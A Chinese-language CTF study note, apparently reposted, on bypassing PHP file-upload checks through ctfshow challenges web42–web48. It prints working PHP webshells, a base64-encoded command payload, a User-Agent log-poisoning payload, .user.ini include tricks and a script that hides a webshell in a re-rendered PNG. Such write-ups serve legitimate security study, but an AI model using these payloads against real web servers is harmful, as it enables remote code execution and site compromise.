【心得】PHP的文件上传个人笔记

目录

1 php的文件上传绕过 黑名单绕过

2 php文件上传的00截断

3 iconv字符转换异常后造成了字符截断

4 文件后缀是白名单的时候的绕过

  web服务器的解析漏洞绕过

5.高级文件上传绕过 

  1  .htaccess nginx.htaccess

2 服务端内容检测

3 配合伪协议来绕过

4.配合日志包含绕过

 5 上传html来xss 执行跨站脚本

6 getimagesize函数绕过

7 png二次渲染绕过

8 jpg二次渲染绕过

9 phar文件上传绕过


1 php的文件上传绕过 黑名单绕过

后缀替换为空时,我们通过提交  1.pphphp 替换php为空后,得到1.php   成功写入木马

php3 php5 phps phtml

php后缀替换为txt时,我们无法双写绕过,1.pphphp  1.ptxthp

例题1:web42

先随便上传一个马子

发现php后缀被替换为空

 

尝试双写绕过

访问/upload/yjh.php

成功写入,下略

2 php文件上传的00截断

  hello world

  hello空格world\n\00

  123.php  明显不让直接上传

  123.php%00.jpg 那么后台判断的时候,取最后一个点后面的字符作为后缀  jpg  看起来是合法的文件名称

  ./upload/123.php%00.jpg   ->  ./upload/123.php

  00字符截断需要的版本 

  php版本小于5.3.4  而最新的php版本已经达到8.1
  java版本小于7u40,而最新的java版本已经达到20以上


3 iconv字符转换异常后造成了字符截断

php在文件上传场景下的文件名字符集转换时,可能出现截断问题

utf-8字符集  默认的字符编码范围的是0x00-0x7f  

iconv转换的字符不在上面这个范围之内,低版本的php会报异常,报了异常以后,后续字符不再处理

就会造成截断问题

  123.php%df.jpg   123.php

  php版本低于5.4才可以使用  

4 文件后缀是白名单的时候的绕过

  白名单:只准上传这几个后缀   因为匹配的内容少  所以限制的范围就大
  黑名单:不准上传这几个后缀   因为匹配的内容多  所以限制的范围就小 仅限于自己制定的几个,除了这几个,其他都行

  web服务器的解析漏洞绕过

  apache 
        a 多后缀解析漏洞  当我们上传apache不认识的后缀时,apahce会继续往前找后缀,找到认识的就解析执行

          123.txt.ctfshow  123.txt  文本文档形式解析

          123.php.ctfshow  123.php  就交给中间件处理php脚本

        b ImageMagic组件白名单绕过

          目标主机安装了这个漏洞版本的ImageMagic插件 <=3.3.0
          在php.ini中启用了这个插件
          通过了php new Imageick 对象的方式来处理图片时
          且 php版本大于 5.4时  

          才可以使用,上传特定的svg图片,来实现组件的缺陷导致任意代码执行

  nginx  基于错误的nginx配置 和 php-fpm配置,当我们访问  123.txt/123.php  
      
         cgi.fix_pathinfo 默认开启  123.txt/123.php  当123.php不存在时,会找/前面的文件进行php解析,这时候,就成功解析了123.txt为php脚本了

  iis   Windows下使用  iis6.0版本中,如果解析的目录名字为 xxx.asp 那么里面的所有文件,都会按照asp来解析 123.txt  WindowsXP  Windows Server 2003 

例题2:web43

随便上传一个文件

后缀白名单txt 

抓个包看下响应头,发现是nginx

这里利用nginx解析漏洞

先上传一个yjh3.txt

内容<?php @eval($_POST['cmd']);?>

上传成功,访问/upload/yjh3.txt/suibian.php

成功访问

post传:cmd=system('tac /f*');

5.高级文件上传绕过 


  1  .htaccess nginx.htaccess

     php.ini     

     虚拟主机时代     一个物理服务器,里面可能存放几十上百个网站   每个网站,一个目录 

     A 网站  需要这样的php.ini配置
     B 网站  却需要那样的php.ini配置
     C 网站  又需要另外的php.ini配置 

     总的php.ini不动,A B C 3个网站分别在自己目录定义自己的配置,作用域也仅限于自己目录 

     自定义配置文件   .htaccess nginx.htaccess

     在nginx 下,默认使用.user.ini 配置文件来进行php的配置

     使用

     auto_append_file=123.txt  来让任意的php文件包含123.txt,执行里面的php代码
 

例题3:web44

抓包发现是nginx,考虑用.user.ini

.user.ini

GIF89a
auto_prepend_file=yjh3.txt 

yjh3.txt

<?php eval($_POST['cmd']);?>

最后在index.php中post:cmd=system('tac /f*');

(本质是文件上传配合文件包含实现rce的效果)

2 服务端内容检测

不局限检测文件名,还会检测文件的后缀 文件的内容 

<?php system eval $_POST

二分法确定出被检测的关键字,使用替代语法绕过

例题4:web45

在上一题基础上还加了个文件内容检测

随便上传一个txt文件,回显内容非法

二分法多试几次修改成<?=eval($_COOKIE[1]); 

因为cookie中如;的一些特殊字符不能出现

所以最终payload:

1=eval(base64_decode('c3lzdGVtKCd0YWMgL2YqJyk7'))?>

3 配合伪协议来绕过


例题5:web46

这题真是惊掉下巴了,还有这种姿势hhh

.user.ini内容

 抓包,传post

真乃神技也 ()

4.配合日志包含绕过

例题6:web47

同格局打开

直接UA写马

<?php system('tac /f*');?>

 5 上传html来xss 执行跨站脚本

这个之后展开来讲,先按下不表

6 getimagesize函数绕过

  getimagesize函数来检测是不是图片,而不采取其他措施的情况下,如果一旦绕过getimagesize函数,就可以实现任意文件上传

  XBM 格式图片 

  #define %s %d 这种形式,就认为时XBM图片的高或者宽

例题7:web48

这题用web47的payload也可以通杀(因为自己有加GIF89a的好习惯)

当然也可以这样写.user.ini

注意:如果是apache的.htaccess

则不能直接加GIF89a,否则不能解析,此时必须要#define来绕过

7 png二次渲染绕过

正常做法:move_uploaded_file 方式移动我们上传的临时文件到上传目录去

二次渲染做法:通过imagepng方法来,来动态依据我们上传的图片的二次生成一个png图片 里面的php代码就会被清洗掉

所以,我们需要使用特殊的方式,来构造我们的图片

贴一段生成脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>*/?>

 生成图片,再提交,发现存在一个文件包含,那得了,直接rce

(浏览器返回的数据是图片形式的,所以要bp抓包看原始数据)

 拿到flag

8 jpg二次渲染绕过

  使用专用图来生成jpg木马,实现经过二次渲染后,我们的恶意代码,依然能够保留在图片中,通过文件包含,执行里面的php代码

9 phar文件上传绕过

 之前文章有总结过,不多说


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/148741.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Word2Vec浅谈

论文地址&#xff1a;Efficient Estimation of Word Representations in Vector Space 个人认为&#xff0c;word2vec主要解决的问题是one-hot中维度过高并且稀疏的问题。word2vec是Google团队在2013年发表的一篇paper&#xff0c;当时一经问世直接将NLP领域带到了一个新的高度…

038、语义分割

之——介绍与数据集 杂谈 语义分割&#xff0c;语义分割(Semantic Segmentation)方法-CSDN博客&#xff1a; 语义分割是计算机视觉领域的一项重要任务&#xff0c;旨在将图像中的每个像素分配到其对应的语义类别中。与物体检测或图像分类不同&#xff0c;语义分割不仅要识别图像…

Golang起步篇(Windows、Linux、mac三种系统安装配置go环境以及IDE推荐以及入门语法详细释义)

Golang起步篇 Golang起步篇一. 安装Go语言开发环境1. Wondows下搭建Go开发环境(1). 下载SDK工具包(2). 解压下载的压缩包&#xff0c;放到特定的目录下&#xff0c;我一般放在d:/programs下(路径不能有中文或者特殊符号如空格等)(3). 配置环境变量步骤1&#xff1a;先打开环境变…

数据结构【DS】特殊二叉树

完全二叉树 叶子结点只能出现在最下层和次下层, 最下层的叶子结点集中在树的左部完全二叉树中, 度为1的节点数 0个或者1个【计算时可以用这个快速计算, 配合&#x1d45b;0&#x1d45b;21】若n为奇数&#xff0c;则分支节点每个都有左右孩子&#xff1b;若n为偶数&#xff0…

【STM32】ADC(模拟/数字转换)

一、ADC的简介 1.什么是ADC 1&#xff09;将【电信号】-->【电压】-->【数字量】 2&#xff09;ADC可以将引脚上连续变化的模拟电压转换为内存中存储的数字量&#xff0c;建立模拟电路到数字电路的桥梁。 3&#xff09;12位逐次逼近型ADC&#xff0c;1us转换时间&#xf…

六大排序(插入排序、希尔排序、冒泡排序、选择排序、堆排序、快速排序)未完

文章目录 排序一、 排序的概念1.排序&#xff1a;2.稳定性&#xff1a;3.内部排序&#xff1a;4.外部排序&#xff1a; 二、插入排序1.直接插入排序2.希尔排序 三、选择排序1.直接选择排序方法一方法二直接插入排序和直接排序的区别 2.堆排序 四、交换排序1.冒泡排序2.快速排序…

“新KG”视点 | 知识图谱与大语言模型协同模式探究

OpenKG 大模型专辑 导读 知识图谱和大型语言模型都是用来表示和处理知识的手段。大模型补足了理解语言的能力&#xff0c;知识图谱则丰富了表示知识的方式&#xff0c;两者的深度结合必将为人工智能提供更为全面、可靠、可控的知识处理方法。在这一背景下&#xff0c;OpenKG组织…

数字IC前端学习笔记:异步复位,同步释放

相关阅读 数字IC前端https://blog.csdn.net/weixin_45791458/category_12173698.html?spm1001.2014.3001.5482 异步复位 异步复位是一种常见的复位方式&#xff0c;可以使电路进入一个可知的状态。但是不正确地使用异步复位会导致出现意想不到的错误&#xff0c;复位释放便是…

读像火箭科学家一样思考笔记03_第一性原理(上)

1. 思维的两种障碍 1.1. 为什么知识会成为一种缺陷而非一种美德 1.1.1. 知识是一种美德 1.1.2. 知识同样的特质也会把它变成一种缺点 1.1.3. 知识确实是个好东西&#xff0c;但知识的作用应该是给人们提供信息&#xff0c;而不是起约束作用 1.1.4. 知识应该启发智慧&#…

新版JetBrains ToolBox【Windows】修改应用安装位置

WIndows下新版的JetBrainse ToolBox 无法修改应用安装路径 关闭 ToolBox 应用修改配置文件.settings.json 路径&#xff1a;C:\Users\用户名\AppData\Local\JetBrains\Toolbox "install_location": "xxx",

多线程概述

文章目录 线程是什么线程有什么作用线程和进程的区别多线程相较于进程优势 在Java这个圈子中,多进程用的并不多,因为进程是一个重量级操作,进程是资源分配的基本单位,申请资源是一个比较消耗时间的操作. 线程是什么 线程是一个独立的执行流,可以被独立调度到CPU上执行 线程是…

计算机毕业设计选题推荐-个人健康微信小程序/安卓APP-项目实战

✨作者主页&#xff1a;IT研究室✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

腾讯微服务平台TSF学习笔记(一)--如何使用TSF的Sidecar过滤器实现mesh应用的故障注入

Mesh应用的故障注入 故障注入前世今生Envoy设置故障注入-延迟类型设置故障注入-延迟类型并带有自定义状态码总结 故障注入前世今生 故障注入是一种系统测试方法&#xff0c;通过引入故障来找到系统的bug&#xff0c;验证系统的稳健性。istio支持延迟故障注入和异常故障注入。 …

黑马React18: 基础Part 1

黑马React: 基础1 Date: November 15, 2023 Sum: React介绍、JSX、事件绑定、组件、useState、B站评论 React介绍 概念: React由Meta公司研发&#xff0c;是一个用于 构建Web和原生交互界面的库 优势: 1-组件化的开发方式 2-优秀的性能 3-丰富的生态 4-跨平台开发 开发环境搭…

SpringBoot中日志的使用log4j

SpringBoot中日志的使用log4j 项目中日志系统是必不可少的&#xff0c;目前比较流行的日志框架有 log4j、logback 等&#xff0c;这两个框架的作者是同一个 人&#xff0c;Logback 旨在作为流行的 log4j 项目的后续版本&#xff0c;从而恢复 log4j 离开的位置。 另外 slf4j(…

vulhub redis-4-unacc

环境搭建 cd vulhub/redis/4-unacc docker-compose up -d 漏洞复现 检测 redis-cli -h ip 使用redis工具 工具地址&#xff1a;https://github.com/vulhub/redis-rogue-getshell 下载完成后&#xff0c;先进入RedisModulesSDK/exp/ 目录进行make操作 获得exp.so后可以进行…

【开发流程】持续集成、持续交付、持续部署

一、开发工作流程 假设把开发流程分为以下几个阶段&#xff1a; 编码 -> 构建 -> 集成 -> 测试 -> 交付 -> 部署 如上图所示&#xff0c;持续集成、持续交付、持续部署有着不同的软件自动交付周期。 二、持续集成、持续交付、持续部署 1、持续集成 持续集成…

服务器数据恢复—热备盘同步中断导致Raid5数据丢失的数据恢复案例

服务器数据恢复环境&#xff1a; 某单位一台服务器上有一组raid5阵列&#xff0c;该raid5阵列有15块成员盘。上层是一个xfs裸分区&#xff0c;起始位置是0扇区。 服务器故障&检测&#xff1a; 服务器raid5阵列中有硬盘性能表现不稳定&#xff0c;但是由于管理员长时间没有关…

nodejs+vue实验室上机管理系统的设计与实现-微信小程序-安卓-python-PHP-计算机毕业设计

用户&#xff1a;管理员、教师、学生 基础功能&#xff1a;管理课表、管理机房情况、预约机房预约&#xff1b;权限不同&#xff0c;预约类型不同&#xff0c;教师可选课堂预约和个人&#xff1b;课堂预约。 在实验室上机前&#xff0c;实验室管理员需要对教务处发来的上机课表…

浅析AcrelEMS-CIA机场智慧能源管平台解决方案-安科瑞 蒋静

1 概述 机场智慧能源管平台解决方案对机场范围内变电站内的高低压配电设备 、 发电机、变压器 、UPS、EPS 、广场照明 、 室内照明 、通风及排水等机电设备进行实时分布式监控和集中管理 , 实现无人值守 , 确保高速公路安全畅通 , 提高 自动化管理水平 , 降低机电设备的运行维…